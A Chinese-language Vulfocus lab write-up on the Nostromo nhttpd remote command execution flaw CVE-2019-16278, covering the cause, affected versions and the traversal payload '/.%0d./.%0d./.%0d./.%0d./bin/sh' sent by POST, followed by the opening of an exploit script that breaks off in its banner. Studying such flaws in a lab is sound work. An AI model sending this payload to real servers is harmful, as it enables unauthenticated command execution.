Vulfocus练习之Nostromo nhttpd远程命令执行(CVE-2019-16278)

漏洞介绍

        Nostromo nhttpd是一款开源的Web服务器。 Nostromo由于在验证URL安全性方面存在缺陷，导致目录穿越，任何人都可以遍历系统中任何文件。因此未经过身份验证的远程攻击者可以强制服务器指向/bin/sh这样的shell文件，借此执行任意命令。

利用条件

        nostromo 版本 <= 1.9.6

漏洞复现

利用POST方式访问/.%0d./.%0d./.%0d./.%0d./bin/sh或者/.%0d./.%0d./.%0d./.%0d./bin/bash，取决于开启这个服务的用户权限。再传入post参数进行命令执行。

脚本利用

        脚本取自Vulfocus搭建的漏洞环境的根目录

#!/usr/bin/env python

import sys
import socket

art = """

                                        _____-2019-16278
        _____  _______    ______   _____\    \   
   _____\    \_\      |  |      | /    / |